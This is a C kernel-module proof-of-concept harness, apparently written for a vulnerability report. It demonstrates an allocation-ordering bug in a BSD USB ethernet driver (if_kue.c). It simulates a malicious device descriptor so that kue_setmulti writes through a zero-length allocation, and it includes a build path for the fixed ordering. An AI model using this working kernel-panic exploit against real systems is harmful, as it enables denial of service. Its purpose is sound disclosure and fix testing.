/*
 * DF-2340 PoC harness — if_kue.c: kue_setmulti() writes multicast filter
 * entries through sc->sc_mcfilters, which kue_attach() allocated BEFORE
 * the ethernet descriptor was fetched.
 *
 * TARGET (stock sys/bus/u4b/net/if_kue.c):
 *
 *   488:   sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN,
 *   489:       M_USBDEV, M_WAITOK);
 *   490:   if (sc->sc_mcfilters == NULL) {          <- dead guard
 *
 * KUE_MCFILTCNT(sc) is UGETW(sc->sc_desc.kue_mcastfilt) & 0x7FFF
 * (if_kuereg.h:69).  At if_kue.c:488 the descriptor has NOT been read
 * yet: it is fetched much later, in kue_attach_post() (if_kue.c:439-440,
 * "read ethernet descriptor"), which uether_ifattach() only queues as an
 * async post-attach task (usb_ethernet.c:182 -> :192-203 -> :202 calls
 * ue_methods->ue_attach_post).  The newbus softc is zero-initialized,
 * so KUE_MCFILTCNT(sc) == 0 and the allocation is
 *
 *      kmalloc(0, M_USBDEV, M_WAITOK)
 *          -> ZERO_LENGTH_PTR == (void *)-8     (kern_slaballoc.c:193,885-890)
 *
 * -8 is not NULL, so the :490 guard does not fire.  kfree() treats the
 * sentinel as a no-op (kern_slaballoc.c:1253), so detach is "safe" and
 * the landmine stays armed.
 *
 * When the device later answers GET_ETHER_DESCRIPTOR with
 * kue_mcastfilt != 0 (fully device-controlled 16-byte reply; comment in
 * if_kue.c:50-52: "the exact size of the filter can depend on the
 * firmware"), every SIOCADDMULTI/SIOCDELMULTI (uether_ifioctl,
 * usb_ethernet.c:497-502) queues ue_setmulti_task which calls the
 * driver's kue_setmulti() under the ue lock:
 *
 *   373:   TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link)
 *   381:           if (i == KUE_MCFILTCNT(sc))    <- NOW the device value
 *   383:           memcpy(KUE_MCFILT(sc, i),      <- &sc_mcfilters[i*6]
 *   384:               LLADDR(...), ETHER_ADDR_LEN);
 *
 * The bound is re-evaluated from the *now-populated* descriptor while the
 * buffer was sized for the *zero* one, so the first membership entry
 * memcpy()s 6 bytes to (char *)-8 + 0 == 0xfffffffffffffff8 — the top of
 * the kernel VA space, unmapped -> deterministic page fault (panic).
 *
 * This harness compiles the VERBATIM production driver into the KLD
 * (#include <bus/u4b/net/if_kue.c> below — nothing in it is modified)
 * and then:
 *
 *   1. reconstructs the exact post-attach softc state (zeroed softc =
 *      newbus M_ZERO softc; lockinit per if_kue.c:478; ue_sc per :495;
 *      ue_tq left in the usb_proc_drain() state (up_gone=1,
 *      usb_process.c:422) so the trailing kue_ctl/kue_setword control
 *      requests — which the fault precedes — return USB_ERR_IOERROR
 *      harmlessly, exactly as they do while a real device is detaching),
 *   2. replays if_kue.c:488-489 at its TRUE position in the sequence —
 *      while sc_desc is still all-zero (the allocation the driver makes),
 *   3. replays the 16-byte device-controlled GET_ETHER_DESCRIPTOR reply
 *      landing in sc_desc (if_kue.c:439-440),
 *   4. builds the ifnet state that uether_ifattach(ue) left behind —
 *      the embedded arpcom ifnet with ONE AF_LINK multicast membership,
 *      byte-identical to what if_addmulti_serialized() (sys/net/if.c:
 *      2667-2720) leaves in if_multiaddrs after SIOCADDMULTI of
 *      01:00:5e:00:00:01 (or the automatic IPv6 all-nodes join),
 *   5. takes the ue lock (production: ue_setmulti_task runs under
 *      UE_LOCK, usb_ethernet.c:398-405) and calls the VERBATIM static
 *      kue_setmulti(&sc->sc_ue).
 *
 * Expected on stock /usr/src:  Fatal trap 12, fault VA 0xfffffffffffffff8.
 * Expected on fixed  /usr/src:  "SURVIVED kue_setmulti()" + clean unload.
 * (built with -DDF2340_FIXED, the harness allocates in the PATCHED order
 * — after the descriptor reply — which is the entire content of the fix).
 *
 * The only non-production code is the attach-frame plumbing around the
 * driver functions (kue_attach/kue_setmulti are static and need a real
 * KL5KUSB101B USB device to be reached through newbus); every byte the
 * PoC copies, allocates and faults on follows the production call chain.
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>
#include <net/if_dl.h>
#include <net/ethernet.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

/* if_kuereg.h / usb_ethernet.h have no include guards — they are pulled
 * in (once) by the verbatim driver include below. */

/* kern_slaballoc.c:193 — not exported in any public header */
#define	DF_ZERO_LENGTH_PTR	((void *)-8)

/* ------------------------------------------------------------------ */
/* THE VERBATIM PRODUCTION DRIVER — compiled from /usr/src/sys,        */
/* unmodified.  kue_setmulti/kue_ctl/kue_setword/kue_do_request below  */
/* are the driver's own static functions.                              */
/* ------------------------------------------------------------------ */
#include <bus/u4b/net/if_kue.c>

/*
 * The 16-byte GET_ETHER_DESCRIPTOR reply an evil KL5KUSB101B (or a
 * usbredir peer) returns for the vendor control request issued at
 * if_kue.c:439-440.  Everything in it is device-controlled; we set
 * kue_mcastfilt = 0x0002 so KUE_MCFILTCNT(sc) == 2 after arrival.
 */
static void
df2340_device_descriptor_reply(struct kue_softc *sc)
{
	memset(&sc->sc_desc, 0, sizeof(sc->sc_desc));
	sc->sc_desc.kue_len = 16;			/* sizeof(kue_ether_desc) */
	memcpy(sc->sc_desc.kue_macaddr, "\x02\x00\xde\xad\xbe\xef",
	    ETHER_ADDR_LEN);
	sc->sc_desc.kue_mcastfilt[0] = 0x02;		/* LE16 0x0002 */
	sc->sc_desc.kue_mcastfilt[1] = 0x00;
}

/*
 * One AF_LINK multicast membership, exactly as if_addmulti_serialized()
 * (sys/net/if.c:2688-2720) leaves it: kmalloc'd ifmultiaddr + duplicated
 * sockaddr_dl, ifma_refcount=1, TAILQ_INSERT'ed into ifp->if_multiaddrs.
 * kue_setmulti()'s TAILQ_FOREACH sees precisely this.
 */
static void
df2340_add_membership(struct ifnet *ifp, const uint8_t mac[ETHER_ADDR_LEN])
{
	struct ifmultiaddr *ifma;
	struct sockaddr_dl *sdl;

	sdl = kmalloc(sizeof(*sdl), M_IFMADDR, M_WAITOK | M_ZERO);
	sdl->sdl_len = sizeof(*sdl);
	sdl->sdl_family = AF_LINK;
	sdl->sdl_index = ifp->if_index;
	sdl->sdl_type = IFT_ETHER;
	sdl->sdl_nlen = 0;			/* LLADDR(sdl) == sdl_data */
	sdl->sdl_alen = ETHER_ADDR_LEN;
	memcpy(LLADDR(sdl), mac, ETHER_ADDR_LEN);

	ifma = kmalloc(sizeof(*ifma), M_IFMADDR, M_WAITOK | M_ZERO);
	ifma->ifma_addr = (struct sockaddr *)sdl;
	ifma->ifma_ifp = ifp;
	ifma->ifma_refcount = 1;
	TAILQ_INSERT_TAIL(&ifp->if_multiaddrs, ifma, ifma_link);
}

static int
kue_poc_modevent(module_t mod, int type, void *arg)
{
	struct kue_softc *sc;
	struct ifnet *ifp;
	struct ifmultiaddr *ifma;

	switch (type) {
	case MOD_LOAD:
		/* ------------------------------------------------------------------
		 * (1) post-kue_attach softc: newbus softcs are M_ZERO'ed;
		 *     if_kue.c:478 lockinit is the only init before :488.
		 * ------------------------------------------------------------------ */
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		lockinit(&sc->sc_lock, "kue_poc", 0, LK_CANRECURSE);
		sc->sc_ue.ue_sc = sc;			/* if_kue.c:495 */
		/*
		 * usb_proc_drain() state (usb_process.c:422): makes
		 * uether_do_request() -> usbd_do_request_proc() return
		 * USB_ERR_IOERROR without touching ue_udev — identical to
		 * the error path a real device takes while detaching.
		 */
		sc->sc_ue.ue_tq.up_gone = 1;

		/* ------------------------------------------------------------------
		 * (2)+(3) THE ORDERING BUG.  Stock driver (if_kue.c:488-489)
		 * allocates HERE, while sc_desc is still all-zero:
		 * kmalloc(0 * 6 == 0, M_USBDEV, M_WAITOK) -> ZERO_LENGTH_PTR.
		 * Fixed driver allocates only AFTER (3).  Build with
		 * -DDF2340_FIXED to replay the patched order.
		 * ------------------------------------------------------------------ */
#ifndef DF2340_FIXED
		sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN,
		    M_USBDEV, M_WAITOK);
		kprintf("kue_poc: if_kue.c:488 with sc_desc all-zero: "
		    "kmalloc(0*%d) -> sc_mcfilters=%p (ZERO_LENGTH_PTR=%p, "
		    "NULL-guard at :490 %s)\n",
		    ETHER_ADDR_LEN, sc->sc_mcfilters, DF_ZERO_LENGTH_PTR,
		    sc->sc_mcfilters == DF_ZERO_LENGTH_PTR ? "DEAD" : "???");
		if (sc->sc_mcfilters == NULL) {		/* if_kue.c:490 */
			kprintf("kue_poc: kmalloc returned NULL (?!) — abort\n");
			kfree(sc, M_TEMP);
			return (ENXIO);
		}
		df2340_device_descriptor_reply(sc);	/* if_kue.c:439-440 */
#else
		df2340_device_descriptor_reply(sc);	/* if_kue.c:439-440 */
		sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN,
		    M_USBDEV, M_WAITOK | M_ZERO);	/* patched kue_attach_post */
		kprintf("kue_poc: PATCHED order: descriptor first "
		    "(KUE_MCFILTCNT=%d), then kmalloc(%d) -> sc_mcfilters=%p\n",
		    KUE_MCFILTCNT(sc), KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN,
		    sc->sc_mcfilters);
#endif
		kprintf("kue_poc: descriptor arrived: KUE_MCFILTCNT(sc)=%d "
		    "(was 0 at allocation time in the stock driver)\n",
		    KUE_MCFILTCNT(sc));

		/* ------------------------------------------------------------------
		 * (4) post-uether_ifattach ifnet: the embedded arpcom ifnet
		 *     (uether_getifp, usb_ethernet.c:134-137) with one
		 *     AF_LINK membership (01:00:5e:00:00:01).
		 * ------------------------------------------------------------------ */
		ifp = uether_getifp(&sc->sc_ue);
		TAILQ_INIT(&ifp->if_multiaddrs);
		ifp->if_flags = IFF_UP | IFF_RUNNING;	/* no ALLMULTI/PROMISC */
		df2340_add_membership(ifp,
		    (const uint8_t []){0x01,0x00,0x5e,0x00,0x00,0x01});

		/* ------------------------------------------------------------------
		 * (5) production entry: ue_setmulti_task holds UE_LOCK
		 *     (usb_ethernet.c:61,398-405) -> kue_setmulti().
		 * ------------------------------------------------------------------ */
		kprintf("kue_poc: entering VERBATIM kue_setmulti() "
		    "(if_kue.c:355-398): memcpy(KUE_MCFILT(sc,0)=%p, ..., 6)\n",
		    (void *)KUE_MCFILT(sc, 0));
		KUE_LOCK(sc);
		kue_setmulti(&sc->sc_ue);
		KUE_UNLOCK(sc);

		kprintf("kue_poc: SURVIVED kue_setmulti() — buffer was "
		    "properly sized (fix in effect?)\n");

		/* clean up (only reachable in the fixed/SURVIVED case) */
		while ((ifma = TAILQ_FIRST(&ifp->if_multiaddrs)) != NULL) {
			TAILQ_REMOVE(&ifp->if_multiaddrs, ifma, ifma_link);
			kfree(ifma->ifma_addr, M_IFMADDR);
			kfree(ifma, M_IFMADDR);
		}
		kfree(sc->sc_mcfilters, M_USBDEV);
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t kue_poc_mod = { "kue_poc", kue_poc_modevent, NULL };
/*
 * NOTE: including if_kue.c also registers the real "kue" driver module
 * (DRIVER_MODULE(kue, uhub, ...) — same as kldload-ing if_kue.ko; no
 * kue device is present so its probe never matches).
 */
DECLARE_MODULE(kue_poc, kue_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(kue_poc, uether, 1, 1, 1);
